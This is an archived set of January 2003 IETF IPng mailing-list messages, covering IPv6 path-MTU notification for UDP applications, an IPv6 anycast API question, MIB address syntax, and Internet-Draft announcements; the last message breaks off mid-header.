http://www.ietf.org/internet-drafts/draft-ietf-ipv6-ipaddressassign-06.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-ipv6-ipaddressassign-06.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-ipv6-ipaddressassign-06.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-1-6145413.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-ipv6-ipaddressassign-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-ipv6-ipaddressassign-06.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-1-6145413.I-D@ietf.org>

--OtherAccess--

--NextPart--


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 07:11:30 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07FBU16020994;
	Tue, 7 Jan 2003 07:11:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h07FBTG9020993;
	Tue, 7 Jan 2003 07:11:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h07FBQ16020985;
	Tue, 7 Jan 2003 07:11:26 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h07FBZuk026717;
	Tue, 7 Jan 2003 07:11:35 -0800 (PST)
Received: from mg03.austin.ibm.com (mg03.austin.ibm.com [192.35.232.20])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA19295;
	Tue, 7 Jan 2003 08:11:30 -0700 (MST)
Received: from austin.ibm.com (netmail1.austin.ibm.com [9.3.7.138])
	by mg03.austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id JAA13170;
	Tue, 7 Jan 2003 09:12:06 -0600
Received: from porkchop.austin.ibm.com (porkchop.austin.ibm.com [9.41.86.38])
	by austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id JAA31852;
	Tue, 7 Jan 2003 09:10:54 -0600
Received: from localhost (lilianf@localhost)
	by porkchop.austin.ibm.com (AIX5.1/8.11.0/8.11.0-client1.01) with ESMTP id h07FArD43476;
	Tue, 7 Jan 2003 09:10:53 -0600
Date: Tue, 7 Jan 2003 09:10:53 -0600 (CST)
From: Lilian Fernandes <lilianf@austin.ibm.com>
To: Shashi Kumar <shashi.kumar@wipro.com>
cc: Keshava Ayanur <keshavaak@huawei.com>, <owner-ipng@sunroof.eng.sun.com>,
   <ipng@sunroof.eng.sun.com>
Subject: Re: Change in path-MTU ..
In-Reply-To: <3E1ACBA3.E4BAF86@wipro.com>
Message-ID: <Pine.A41.4.44.0301070908260.39482-100000@porkchop.austin.ibm.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Section 11.3 of draft-ietf-ipngwg-rfc2292bis-08 describes a socket option
IPV6_RECVPATHMTU that a UDP application can set to be notified of path MTU
changes.

http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-rfc2292bis-08.txt

-Lilian

On Tue, 7 Jan 2003, Shashi Kumar wrote:

> ICMP layer should recalculate the path-MTU depending on ICMP redirect
> and update the routing entries appropriately and also inform
> packetization layer(s) about the change in path-MTU ( you can have your
> own algo.)
>
>
> -Shashi
>
>
> Keshava Ayanur wrote:
> >
> > Hi,
> >         I have a question about PATH-MTU .
> >
> >         Should the IP stack inform the application about the change in
> > path-MTU .
> >         Else how does the application running on UDP will know about
> > change in the
> >         size ?
> >         Or is it up to the application running on UDP to care by some
> >         reliable mechanism ?
> >
> > Regards,
> > keshava
> >
> > --------------------------------------------------------------------
> > IETF IPng Working Group Mailing List
> > IPng Home Page:                      http://playground.sun.com/ipng
> > FTP archive:                      ftp://playground.sun.com/pub/ipng
> > Direct all administrative requests to majordomo@sunroof.eng.sun.com
> > --------------------------------------------------------------------
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
>

_____________________________________________________________________

Lilian Fernandes
AIX TCP/IP Development - IBM Austin
Tel: 512-838-7966	Fax: 512-838-3509

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 16:32:36 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h080Wa16023429;
	Tue, 7 Jan 2003 16:32:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h080WaiG023428;
	Tue, 7 Jan 2003 16:32:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h080WW16023420;
	Tue, 7 Jan 2003 16:32:32 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h080Wfuk007946;
	Tue, 7 Jan 2003 16:32:41 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA22626;
	Tue, 7 Jan 2003 17:32:32 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA27913;
	Tue, 7 Jan 2003 16:32:20 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h080WHF09346;
	Tue, 7 Jan 2003 16:32:17 -0800
X-mProtect: <200301080032> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.2.67, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpde1zbvr; Tue, 07 Jan 2003 16:32:16 PST
Message-ID: <3E1B73EA.1070904@iprg.nokia.com>
Date: Tue, 07 Jan 2003 16:42:18 -0800
From: "Fred L. Templin" <ftemplin@iprg.nokia.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Lilian Fernandes <lilianf@austin.ibm.com>
CC: Shashi Kumar <shashi.kumar@wipro.com>,
   Keshava Ayanur
 <keshavaak@huawei.com>, owner-ipng@sunroof.eng.sun.com,
   ipng@sunroof.eng.sun.com
Subject: Re: Change in path-MTU ..
References: <Pine.A41.4.44.0301070908260.39482-100000@porkchop.austin.ibm.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

I believe the text you are referring to is the following:

    "When the application is sending packets too big for the path MTU
    recvmsg() will return zero (indicating no data) but there will be a
    cmsghdr with cmsg_type set to IPV6_PATHMTU, and cmsg_len will
    indicate that cmsg_data is sizeof(struct ip6_mtuinfo) bytes long."

The way I read this, applications are informed of path MTU restrictions
when they are actively sending packets that result in ICMPv6 "packet too
big" error messages (i.e., even when the "packet too big" messages are
locally-generated). I see no requirement in this specification for
asynchronous notification of PMTU decreases.

Instead, in RFC 1918, section 5.2, I see:

       Note: An implementation can avoid the use of an asynchronous
       notification mechanism for PMTU decreases by postponing
       notification until the next attempt to send a packet larger than
       the PMTU estimate.  In this approach, when an attempt is made to
       SEND a packet that is larger than the PMTU estimate, the SEND
       function should fail and return a suitable error indication.  This
       approach may be more suitable to a connectionless packetization
       layer (such as one using UDP), which (in some implementations) may
       be hard to "notify" from the ICMP layer.  In this case, the normal
       timeout-based retransmission mechanisms would be used to recover
       from the dropped packets.

Fred Templin
ftemplin@iprg.nokia.com


Lilian Fernandes wrote:
> Section 11.3 of draft-ietf-ipngwg-rfc2292bis-08 describes a socket option
> IPV6_RECVPATHMTU that a UDP application can set to be notified of path MTU
> changes.
> 
> http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-rfc2292bis-08.txt
> 
> -Lilian
> 
> On Tue, 7 Jan 2003, Shashi Kumar wrote:
> 
> 
>>ICMP layer should recalculate the path-MTU depending on ICMP redirect
>>and update the routing entries appropriately and also inform
>>packetization layer(s) about the change in path-MTU ( you can have your
>>own algo.)
>>
>>
>>-Shashi
>>
>>
>>Keshava Ayanur wrote:
>>
>>>Hi,
>>>        I have a question about PATH-MTU .
>>>
>>>        Should the IP stack inform the application about the change in
>>>path-MTU .
>>>        Else how does the application running on UDP will know about
>>>change in the
>>>        size ?
>>>        Or is it up to the application running on UDP to care by some
>>>        reliable mechanism ?
>>>
>>>Regards,
>>>keshava
>>>
>>>--------------------------------------------------------------------
>>>IETF IPng Working Group Mailing List
>>>IPng Home Page:                      http://playground.sun.com/ipng
>>>FTP archive:                      ftp://playground.sun.com/pub/ipng
>>>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>>>--------------------------------------------------------------------
>>
>>--------------------------------------------------------------------
>>IETF IPng Working Group Mailing List
>>IPng Home Page:                      http://playground.sun.com/ipng
>>FTP archive:                      ftp://playground.sun.com/pub/ipng
>>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>>--------------------------------------------------------------------
>>
> 
> 
> _____________________________________________________________________
> 
> Lilian Fernandes
> AIX TCP/IP Development - IBM Austin
> Tel: 512-838-7966	Fax: 512-838-3509
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 18:11:37 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h082Bb16023858;
	Tue, 7 Jan 2003 18:11:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h082BbDa023857;
	Tue, 7 Jan 2003 18:11:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h082BW16023850
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 18:11:33 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h082Bguk001545
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 18:11:42 -0800 (PST)
Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA05812
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 19:11:20 -0700 (MST)
Received: from localhost ([3ffe:501:100f:1048:bd67:6d47:e443:6563])
	by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id h0828cR75095;
	Wed, 8 Jan 2003 11:08:38 +0900 (JST)
Date: Wed, 08 Jan 2003 11:08:46 +0900
Message-ID: <y7v65t0s89d.wl@ocean.jinmei.org>
From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?=
 <jinmei@isl.rdc.toshiba.co.jp>
To: "Fred L. Templin" <ftemplin@iprg.nokia.com>
Cc: Lilian Fernandes <lilianf@austin.ibm.com>,
   Shashi Kumar <shashi.kumar@wipro.com>,
   Keshava Ayanur <keshavaak@huawei.com>, ipng@sunroof.eng.sun.com
Subject: Re: Change in path-MTU ..
In-Reply-To: <3E1B73EA.1070904@iprg.nokia.com>
References: <Pine.A41.4.44.0301070908260.39482-100000@porkchop.austin.ibm.com>
	 <3E1B73EA.1070904@iprg.nokia.com>
User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.2 Mule/5.0 (SAKAKI)
Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan.
MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
X-Dispatcher: imput version 20000228(IM140)
Lines: 32
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>>>>> On Tue, 07 Jan 2003 16:42:18 -0800, 
>>>>> "Fred L. Templin" <ftemplin@iprg.nokia.com> said:

> I believe the text you are referring to is the following:
>     "When the application is sending packets too big for the path MTU
>     recvmsg() will return zero (indicating no data) but there will be a
>     cmsghdr with cmsg_type set to IPV6_PATHMTU, and cmsg_len will
>     indicate that cmsg_data is sizeof(struct ip6_mtuinfo) bytes long."

> The way I read this, applications are informed of path MTU restrictions
> when they are actively sending packets that result in ICMPv6 "packet too
> big" error messages (i.e., even when the "packet too big" messages are
> locally-generated). I see no requirement in this specification for
> asynchronous notification of PMTU decreases.

That depends on what you meant by "asynchronous" and "requirement".

As for "asynchronous"ness:
If the application watches a read (note: not "write") event on the UDP
socket, it will be ale to receive the "asynchronous" notification when
an ICMPv6 too big occurs.

As for "requirement":
Whether the application watches read events is (of course) up to the
application; the specification does not require the application to
follow the usage.  In this sense, you are correct: there is no
"requirement" in the specification for asynchronous notification.

					JINMEI, Tatuya
					Communication Platform Lab.
					Corporate R&D Center, Toshiba Corp.
					jinmei@isl.rdc.toshiba.co.jp
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan  8 11:25:39 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h08JPc16000478;
	Wed, 8 Jan 2003 11:25:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h08JPciB000477;
	Wed, 8 Jan 2003 11:25:38 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h08JPY16000470
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 11:25:34 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h08JPhuk020012
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 11:25:43 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA21406
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 12:25:37 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA02854
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 11:25:37 -0800 (PST)
X-Delivered-For: <ipng@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h08JPaR32563
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 11:25:36 -0800
X-mProtect: <200301081925> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (4.22.78.99, claiming to be "spruce.iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdgUUblG; Wed, 08 Jan 2003 11:25:33 PST
Message-Id: <4.3.2.7.2.20030108112417.027c0330@mailhost.iprg.nokia.com>
X-Sender: hinden@mailhost.iprg.nokia.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 08 Jan 2003 11:24:38 -0800
To: ipng@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org (by way of Bob Hinden <hinden@iprg.nokia.com>)
Subject: I-D ACTION:draft-hinden-ipv6-sl-moderate-00.txt
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

A New Internet-Draft is available from the on-line Internet-Drafts directories.

	Title		: Moderate Use Case for IPv6 Site-Local Addresses
	Author(s)	: R. Hinden
	Filename	: draft-hinden-ipv6-sl-moderate-00.txt
	Pages		: 7
	Date		: 2003-1-7
	
This internet draft describes the moderate use case for IPv6 Site-
Local Addresses.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-hinden-ipv6-sl-moderate-00.txt

To remove yourself from the IETF Announcement list, send a message to
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-hinden-ipv6-sl-moderate-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-hinden-ipv6-sl-moderate-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
Content-Type: text/plain
Content-ID:	<2003-1-7160933.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-hinden-ipv6-sl-moderate-00.txt

<ftp://ftp.ietf.org/internet-drafts/draft-hinden-ipv6-sl-moderate-00.txt>

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan  8 11:53:25 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h08JrP16000954;
	Wed, 8 Jan 2003 11:53:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h08JrPod000953;
	Wed, 8 Jan 2003 11:53:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h08JrM16000946
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 11:53:22 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h08JrVuk028502
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 11:53:31 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA10304
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 12:53:25 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h08JrN504095
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 21:53:23 +0200
Date: Wed, 8 Jan 2003 21:53:23 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: ipng@sunroof.eng.sun.com
Subject: [magma] IPv6 anycast usage API? (fwd)
Message-ID: <Pine.LNX.4.44.0301082151100.4063-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

FYI,

If you have thoughts on how anycast should work w/ applications, now would 
be a good time to state them :-)

I think the discussion is probably best done only on the magma list.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
---------- Forwarded message ----------
Date: Wed, 8 Jan 2003 21:25:43 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: magma@ietf.org
Subject: [magma] IPv6 anycast usage API?

Hello,

Has anyone given any thought to whether there should be any (IPv6) anycast
addressing API for _applications_?

As background, anycast support has usually been implemented either using:

 1) an "anycast" flag when configuring an address with system
administration -level tools like "ifconfig", or

 2) some vendor-specific API which applications can use to signal that
they would like to join an anycast "group".  As you may note, this is very
similar to how multicast works -- which is natural because the model is
similar.

I know a couple of implementations: most do 1), unofficial anycast support
for Linux does 2).  I'd be interested if there are other ways to make
anycast addressing usable.

The advantage of 2) is that it gets closer to applications: when an
application using an anycast address (e.g. DNS server software) e.g.  
crashes, the anycast address automatically gets removed.  Of course, there
are still failure modes, but I believe this closer to the usage model if
we want anycast to be usable for applications, and want to use it
robustly.

Of course, for some cases, 1) is also useful -- but they are not 
exclusive, I think.

Comments are very much welcome.  Should we try to document some simple API
for anycast for applications, for example?  

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

_______________________________________________
magma mailing list
magma@ietf.org
https://www1.ietf.org/mailman/listinfo/magma

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan  8 14:07:25 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h08M7P16001603;
	Wed, 8 Jan 2003 14:07:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h08M7P4p001602;
	Wed, 8 Jan 2003 14:07:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h08M7M16001595
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 14:07:22 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h08M7Vuk006315
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 14:07:31 -0800 (PST)
Received: from ondar.cablelabs.com (ondar.cablelabs.com [192.160.73.61])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA06045
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 14:07:26 -0800 (PST)
Received: from srvxchg.cablelabs.com (srvxchg.cablelabs.com [10.5.0.20])
	by ondar.cablelabs.com (8.12.6/8.12.6) with ESMTP id h08M7Nmb018177
	for <ipng@sunroof.eng.sun.com>; Wed, 8 Jan 2003 15:07:24 -0700 (MST)
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: Q: draft-ietf-ipv6-rfc2011-update-01.txt
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
Date: Wed, 8 Jan 2003 15:07:23 -0700
Message-ID: <E63E74E1F5391449BDFCAE1F352EC7DC1153C4@srvxchg.cablelabs.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Q: draft-ietf-ipv6-rfc2011-update-01.txt
Thread-Index: AcK3Vh7Oa0mRm+jxQ+ax0wvBZYQXuQAABaPA
From: "Eduardo Cardona" <e.cardona@CableLabs.com>
To: <ipng@sunroof.eng.sun.com>
X-Approved: ondar
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h08M7M16001596
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Hi all,

Could you please indicate the reason for InetAddress SYNTAX in
draft-ietf-ipv6-rfc2011-update-01.txt is described as :

I may think ip to 20 will cover 
SYNTAX     InetAddress (SIZE(0..36))
I may think up to ((SIZE(0..20)) will cover an inetAddressType ipv6z

What else would I miss?

About dns type  there should be complice statements to not support that
isn't it?

Thanks

Eduardo 



 

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan  9 05:52:36 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09Dqa16005438;
	Thu, 9 Jan 2003 05:52:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h09DqaeR005437;
	Thu, 9 Jan 2003 05:52:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09DqW16005430
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 05:52:32 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h09DqeXq011900
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 05:52:40 -0800 (PST)
Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA18401
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 05:52:34 -0800 (PST)
Received: from localhost ([3ffe:501:4819:2000:89e2:cf3c:7bdd:8889])
	by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id h09DqTR93877;
	Thu, 9 Jan 2003 22:52:30 +0900 (JST)
Date: Thu, 09 Jan 2003 22:52:36 +0900
